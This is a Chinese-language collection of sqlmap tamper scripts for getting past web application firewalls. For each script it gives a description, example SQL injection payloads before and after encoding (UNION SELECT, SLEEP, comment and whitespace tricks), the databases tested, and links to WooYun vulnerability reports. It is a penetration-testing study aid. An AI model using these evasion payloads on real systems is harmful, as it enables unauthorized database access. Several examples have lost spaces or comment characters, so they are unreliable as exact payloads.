使用sqlmap中tamper脚本绕过waf

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0x00 背景


sqlmap中的tamper脚本来对目标进行更高效的攻击。

由于乌云知识库少了sqlmap-tamper 收集一下,方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start


脚本名:apostrophemask.py


作用:用utf8代替引号

 
Example: (“1 AND ‘1’=’1”) ‘1AND%EF%BC%871%EF%BC%87=%EF%BC%871’

Tested against: all

脚本名:equaltolike.py


作用:like 代替等号

 
 
 
 
 
Example:
* Input:SELECT*FROMusersWHEREid=1
*Output:SELECT*FROMusersWHEREidLIKE1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

脚本名:space2dash.py


作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)

1
Example: (‘1 AND 9227=9227′)’1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

脚本名:greatest.py


作用:绕过过滤’>’ ,用GREATEST替换大于号。

 
Example: (‘1 AND A > B’)’1 AND GREATEST(A,B+1)=A’Tested against: * MySQL 4, 5.0and5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名:space2hash.py


作用:空格替换为#号 随机字符串 以及换行符

 
 
 
 
Example:
* Input: 1AND9227=9227
*Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

参考:法克的一篇文章

脚本名:apostrophenullencode.py


作用:绕过过滤双引号,替换字符和双引号。

 
Example: tamper(“1 AND ‘1’=’1”) ‘1AND%00%271%00%27=%00%271’

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:halfversionedmorekeywords.py


作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

 
 
 
Example:
(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)”value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa”

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

脚本名:space2morehash.py


作用:空格替换为 #号 以及更多随机字符串 换行符

 
 
 
 
 
Example:
* Input: 1AND9227=9227
*Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

脚本名:appendnullbyte.py


作用:在有效负荷结束位置加载零字节字符编码

 
Example: (‘1 AND 1=1′)’1 AND 1=1%00’

Requirement:

  • Microsoft Access

脚本名:ifnull2ifisnull.py


作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

 
 
 
Example:
(‘IFNULL(1, 2)’)’IF(ISNULL(1),2,1)’

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

脚本名:space2mssqlblank.py(mssql)


作用:空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:


案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py


作用:用base64编码替换 Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py


作用:替换空格

 
Example: (‘1 AND 9227=9227’)’1%23%0AAND%23%0A9227=9227’Requirement: * MSSQL * MySQL

脚本名:modsecurityversioned.py


作用:过滤空格,包含完整的查询版本注释

 
Example: (‘1 AND 2>1–‘)’1 /*!30874AND 2>1*/–‘

Requirement: * MySQL

Tested against:

  • MySQL 5.0

脚本名:space2mysqlblank.py


作用:空格替换其它空白符号(mysql)

 
 
 
 
 
Example:
* Input:SELECTidFROMusers
*Output:SELECT%0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名:between.py


作用:用between替换大于号(>)

 
Example: (‘1 AND A > B–‘)’1 AND A NOT BETWEEN 0 AND B–‘

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py


作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

注:之前有个mssql的 这个是mysql的

 
Example: (‘1 AND 9227=9227′)’1–%0AAND–%0A9227=9227’

Requirement:

  • MySQL

  • MSSQL

脚本名:multiplespaces.py


作用:围绕SQL关键字添加多个空格

 
Example: (‘1 UNION SELECT foobar’)’1 UNION SELECT foobar’

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名:space2plus.py


作用:用+替换空格

 
Example: (‘SELECT id FROM users’)’SELECT+id+FROM+users’Tested against:all

脚本名:bluecoat.py


作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

 
Example: (‘SELECT id FROM users where id = 1′)’SELECT%09id FROM users where id LIKE 1’

Tested against:

  • MySQL 5.1, SGOS

脚本名:nonrecursivereplacement.py


双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

 
Example: (‘1 UNION SELECT 2–‘)’1 UNIOUNIONN SELESELECTCT 2–‘Tested against:all

脚本名:space2randomblank.py


作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

 
Example: (‘SELECT id FROM users’)’SELECT%0Did%0DFROM%0Ausers’

Tested against: all

脚本名:sp_password.py


作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

 
Example: (‘1 AND 9227=9227– ‘)’1 AND 9227=9227– sp\_password’Requirement: * MSSQL

脚本名:chardoubleencode.py


作用: 双url编码(不处理以编码的)

 
 
 
 
Example:
* Input:SELECTFIELDFROM%20TABLE
*Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名:unionalltounion.py


作用:替换UNION ALL SELECT UNION SELECT

Example: (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’

Requirement: all

脚本名:charencode.py


作用:url编码

 
 
 
 
Example:
* Input:SELECTFIELDFROM%20TABLE
*Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:randomcase.py


作用:随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:unmagicquotes.py


作用:宽字符绕过 GPC addslashes

 
 
 
 
 
Example:
* Input: 1′AND1=1
*Output: 1%bf%27AND1=1–%20

脚本名:randomcomments.py


作用:用/**/分割sql关键字

 
 
 
Example:
‘INSERT’ becomes ‘IN//S//ERT’

脚本名:charunicodeencode.py


作用:字符串 unicode 编码

 
 
 
 
 
Example:
* Input:SELECTFIELD%20FROMTABLE
*Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名:securesphere.py


作用:追加特制的字符串

 
Example: (‘1 AND 1=1’)”1 AND 1=1 and ‘0having’=’0having'”

Tested against: all

脚本名:versionedmorekeywords.py


作用:注释绕过

 
 
 
 
 
Example:
* Input: 1UNIONALLSELECTNULL,NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER()ASCHAR),CHAR(32)),CHAR(58,115,114,121,58))#
*Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名:space2comment.py


作用:Replaces space character (‘ ‘) with comments ‘/**/’

 
 
 
 
 
Example:
* Input:SELECTidFROMusers
*Output:SELECT//id//FROM/**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名:halfversionedmorekeywords.py


作用:关键字前加注释

 
 
 
 
 
Example:
* Input: value’UNIONALLSELECTCONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()ASCHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL#AND‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

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